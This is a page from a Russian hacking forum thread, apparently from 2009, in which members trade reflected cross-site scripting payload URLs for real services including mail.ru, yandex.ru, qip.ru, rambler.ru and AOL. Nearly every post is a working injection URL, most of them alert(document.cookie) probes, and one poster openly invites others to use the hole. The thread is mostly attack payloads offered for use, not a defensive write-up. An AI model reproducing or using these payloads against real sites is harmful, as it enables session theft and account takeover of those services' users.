HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости Mail-сервис
Перезагрузить страницу Пассивные xss на почтовых серверах
   
Ответ
Страница 5 из 25 < 1 2 3 4 5 6 7 8 9 15 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #41  
Старый 10.05.2009, 18:43
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
С нами: 9510146

Репутация: 1550


По умолчанию
Пассивка на mail.ru, работает онли в хроме:

Код:
http://3k.mail.ru/register.php?step=4&nick=wildshaman&cfg=1,2,5,31,501,20,9&element=1&code="><script>alert(document.cookie)</script>
 
Ответить с цитированием

  #42  
Старый 21.05.2009, 20:45
FatalLerr0r
Познающий
Регистрация: 15.04.2009
Сообщений: 35
С нами: 8985453

Репутация: 12
По умолчанию
Пассивка на qip.ru
http://video.qip.ru/broadcast/view/?id=2172438&from="><script>alert('XSS by FatalLerr0r')</script>
 
Ответить с цитированием

  #43  
Старый 26.07.2009, 07:38
Sin3v
Участник форума
Регистрация: 16.07.2008
Сообщений: 159
С нами: 9379190

Репутация: 240
По умолчанию
Mail.ru
Работает через пост запрос в поле E-Mail
Цитата:
http://device.mail.ru/published/forgot.php
Последний раз редактировалось Sin3v; 26.07.2009 в 07:41..
 
Ответить с цитированием

  #44  
Старый 31.07.2009, 19:00
edge911
Участник форума
Регистрация: 21.02.2009
Сообщений: 228
С нами: 9062055

Репутация: 368
По умолчанию
на yandex.ru создаем новое событие в календаре,
назваагние пишем любое , в описание <img src = http://artfile.ru/funfoto/b/v/1939_26_186_ArtFile_ru.jpg onload = alert(123);>
при просмотре события вылазит алерт"123"
p.s сори еси не туда написал )
 
Ответить с цитированием

mail.ru
  #45  
Старый 17.08.2009, 01:02
Sleep
Участник форума
Регистрация: 31.10.2007
Сообщений: 193
С нами: 9752260

Репутация: 150
По умолчанию mail.ru
Код:
http://g1.botva.mail.ru/registration.php?race=1<'><script>alert(document.cookie)</script>
 
Ответить с цитированием

  #46  
Старый 20.08.2009, 00:41
JOHNik
Познающий
Регистрация: 21.04.2009
Сообщений: 58
С нами: 8976725

Репутация: 34
По умолчанию
Цитата:
Сообщение от Pavlov  
http://translate.google.com/translate?hl=ru&sl=en&tl=ru&u=http%3A%2F%2Fforums. xmbforum.com%2Ffiles.php%3Fpid%3D1361320%26aid%3D2 0274
http://translate.google.co.uk/translate?hl=ru&sl=en&tl=ru&u=http%3A%2F%2Fforums. xmbforum.com%2Ffiles.php%3Fpid%3D1361320%26aid%3D2 0274
То же самое и тут (PREF TM LM S)
такая же трабла и с AOL например:
Код:
http://television.aol.com/search/results?searchby=showtitle&query="><script>alert(document.cookie)</script>
просто это не те которые нужны. но идея с переводом документа хорошая
Последний раз редактировалось JOHNik; 20.08.2009 в 00:58..
 
Ответить с цитированием

  #47  
Старый 25.08.2009, 19:38
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
С нами: 9083308

Репутация: 719
По умолчанию
Цитата:
Сообщение от JOHNik  
Код:
http://television.aol.com/search/results?searchby=showtitle&query="><script>alert(document.cookie)</script>
просто это не те которые нужны. но идея с переводом документа хорошая
там же, куча пассивок, вывешивать не стал чтоб не флудить, но xss на каждом шагу, щя поищу активку

Код:
https://my.screenname.aol.com/_cqr/login/login.psp?sitedomain=sns.webmail.aol.com&lang=en&locale=us&authLev=0&siteState=ver%3a4%7crt%3aSTANDARD%7cac%3aWS%7cat%3aSNS%7cld%3awebmail.aol.com%7cuv%3aAOL%7clc%3aen-us%7cmt%3aAOL%7csnt%3aScreenName&offerId=mail-second-en-us&seamless=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
 
Ответить с цитированием

  #48  
Старый 30.08.2009, 07:09
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
С нами: 9083308

Репутация: 719
По умолчанию
пассивная XSS на рамблер, только что нашел

Код:
http://adstat.rambler.ru/reports/rep_show.pl?sid=4294961443&uid=4513&page=200&num=5&end=080911&type=16&start=%22/%3E%3Cscript%3Ealert(/xss/)%3C/script%3E0&iid=27203
Код:
http://adstat.rambler.ru/reports/rep_show.pl?sid=4294961443&page=206&uid=%22/%3E%3Cscript%3Ealert(/xss/)%3C/script%3E3&end=080911&type=16&iid=27203&start=080910
Правда в этой строке их до фига и больше...
Последний раз редактировалось satana-fu; 30.08.2009 в 07:13..
 
Ответить с цитированием

  #49  
Старый 01.09.2009, 17:25
xss-faq
Познающий
Регистрация: 28.06.2009
Сообщений: 84
С нами: 8879426

Репутация: 140
По умолчанию
xss mail.ru
Код:
http://wifi.mail.ru/comments.html?point_id=6568&thread="><script>alert(document.cookie)</script>
xss yandex.ru
Код:
http://images.yandex.ru/cgi-bin/customize.pl?retpath=http://yandex.ru/yandsearch?text="><script>alert(document.cookie)</script>
Сам искал!
 
Ответить с цитированием

  #50  
Старый 09.09.2009, 00:01
vitaliy_n73
Участник форума
Регистрация: 02.07.2009
Сообщений: 130
С нами: 8873631

Репутация: 56
По умолчанию
Вот пару месяцев назад нашел,думал буду пользоватся,ща как-то не пригодилось так чтоб зря не пропадала берите пользуйтесь на здоровье!


http://pogoda.mail.ru/favcity/citytune.html?action=tune&city=%22%3E%3Cscript%3Ea lert()%3C/script%3E
 
Ответить с цитированием
Ответ
Страница 5 из 25 < 1 2 3 4 5 6 7 8 9 15 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[ Обзор Уязвимостей .:Drupal :. ] Cawabunga Веб-уязвимости 43 12.01.2021 19:31
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка

Загрузка чата...